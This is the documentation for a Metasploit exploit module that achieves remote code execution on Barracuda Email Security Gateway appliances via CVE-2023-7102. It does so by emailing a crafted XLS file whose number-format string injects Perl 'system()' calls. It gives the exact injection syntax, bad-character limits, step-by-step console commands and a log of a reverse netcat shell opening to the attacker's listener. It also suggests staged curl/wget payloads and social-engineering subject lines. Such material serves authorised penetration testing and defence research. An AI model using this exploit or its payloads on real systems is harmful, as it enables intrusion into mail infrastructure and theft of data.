## Vulnerable Application

This module exploits CVE-2023-7102, an arbitrary code execution vulnerability in Barracuda Email Security Gateway (ESG) appliances. The vulnerability exists in how the Amavis scanner processes Excel attachments using the Perl Spreadsheet::ParseExcel library.

The library's `Utility.pm` contains an unsafe `eval()` that processes Excel Number format strings without validation. By crafting a malicious XLS file with a specially formatted Number format string containing Perl code, an attacker can achieve remote code execution when the ESG scans the email attachment.

### Affected Versions

- Barracuda ESG firmware 5.1.3.001 through 9.2.1.001
- Spreadsheet::ParseExcel versions <= 0.65

### Background

This vulnerability was exploited in the wild by UNC4841 (China-nexus threat actor) starting November 2023 as part of a campaign targeting government and technology organizations. Barracuda deployed automatic patches on December 21, 2023.

CVE-2023-7101 refers to the underlying library vulnerability in Spreadsheet::ParseExcel, while CVE-2023-7102 refers to the Barracuda-specific exploitation vector through email attachment processing.

## Payload Constraints

The module dynamically generates BIFF8 XLS files using Rex::OLE, supporting arbitrary payload lengths. The only constraints are:

| Constraint | Reason |
|------------|--------|
| No `]` character | Terminates the format string regex capture |
| No `'` (single quote) | Breaks the Perl eval injection |
| No null bytes | String terminator |

The default payload `cmd/unix/reverse_netcat` works cleanly within these constraints.

## Verification Steps

### Exploitation (MSF Console)

1. `msfconsole`
2. `use exploit/linux/smtp/barracuda_esg_spreadsheet_rce`
3. `set RHOST <ESG_IP>`
4. `set MAILTO <valid_recipient@target_domain>`
5. `set LHOST <LHOST>`
6. `exploit`

Wait 30-90 seconds for Amavis to process the attachment.

## Options

### MAILTO

A valid email address on the target ESG appliance. The email will be sent to this address with the malicious XLS attachment.

### MAILFROM

The sender email address (default: scanner@example.com). Does not need to be valid.

### SUBJECT

Email subject line (default: "Q4 Financial Report"). Can be customized to improve social engineering.

### FILENAME

XLS attachment filename. If not specified, generates a random filename like "Report_XXXXXX.xls".

## Scenarios

Tested against physical Barracuda ESG 300 appliance (firmware 8.0.1.001).

### Barracuda ESG 300 (Firmware 8.0.1.001) - Reverse Shell

```
msf6 > use exploit/linux/smtp/barracuda_esg_spreadsheet_rce
msf6 exploit(linux/smtp/barracuda_esg_spreadsheet_rce) > set RHOST <ESG_IP>
msf6 exploit(linux/smtp/barracuda_esg_spreadsheet_rce) > set MAILTO <MAILTO>
msf6 exploit(linux/smtp/barracuda_esg_spreadsheet_rce) > set LHOST <LHOST>
msf6 exploit(linux/smtp/barracuda_esg_spreadsheet_rce) > exploit

[*] <ESG_IP>:25 - Running automatic check ("set AutoCheck false" to disable)
[!] <ESG_IP>:25 - The service is running, but could not be validated. Barracuda ESG detected in SMTP banner
[*] <ESG_IP>:25 - Generating malicious XLS with payload in FORMAT record
[*] <ESG_IP>:25 - Composing email with XLS attachment
[*] <ESG_IP>:25 - Sending exploit email to <MAILTO> via <ESG_IP>:25
[+] <ESG_IP>:25 - Email sent successfully
[*] <ESG_IP>:25 - Payload executes when Amavis scanner parses the XLS attachment (may take 30-90 seconds)
[*] Command shell session 1 opened (<LHOST>:4444 -> <ESG_IP>:XXXXX)

id
uid=604(scana) gid=604(scana) groups=604(scana)
```

## Technical Details

### Vulnerability Root Cause

The vulnerability exists in `Spreadsheet/ParseExcel/Utility.pm` at line 171:

```perl
if ($conditional) {
    $section = eval "$number $conditional" ? 0 : 1;
}
```

The `$conditional` variable is extracted from Excel Number format strings using a regex that captures content between `[<>=` and `]`:

```perl
if ( $format_str =~ /^\[([<>=][^\]]+)\](.*)$/ ) {
    $conditional = $1;
    $format_str  = $2;
}
```

### Payload Construction

The malicious format string is constructed as:

```
[>0;system('COMMAND')]0
```

When parsed, this becomes:

```perl
eval "123 >0;system('COMMAND')" ? 0 : 1;
```

The semicolon allows command chaining - the comparison evaluates first, then the `system()` call executes.

### XLS Generation

The module uses Rex::OLE to dynamically generate minimal BIFF8 XLS files. This approach:

- Supports arbitrary payload lengths (no template size restrictions)
- Creates properly structured OLE2 compound documents
- Embeds the payload in a FORMAT record (opcode 0x041E)
- Triggers payload via NUMBER cell referencing the custom format

## Troubleshooting

### Payload Contains Bad Characters

If you see "Payload contains ']'" or "Payload contains single quote" errors:
- Use `cmd/unix/generic` with a staged curl/wget command
- Or use a different payload that avoids these characters

### No Callback Received

1. Verify Amavis is processing attachments (check amavisd.conf for `$attachment_regex_defined`)
2. Verify firewall allows outbound connections from target
3. Check Amavis logs for processing errors
4. Increase wait time - processing can take 30-90 seconds

### Binary Payloads Fail

The `linux/x64/shell_reverse_tcp` and similar binary payloads may fail in the Amavis execution context. Use shell-based payloads like `cmd/unix/reverse_netcat` instead.

## References

- https://nvd.nist.gov/vuln/detail/CVE-2023-7101
- https://nvd.nist.gov/vuln/detail/CVE-2023-7102
- https://github.com/haile01/perl_spreadsheet_excel_rce_poc
- https://trust.barracuda.com/security/information/esg-vulnerability
- https://cloud.google.com/blog/topics/threat-intelligence/unc4841-post-barracuda-zero-day-remediation
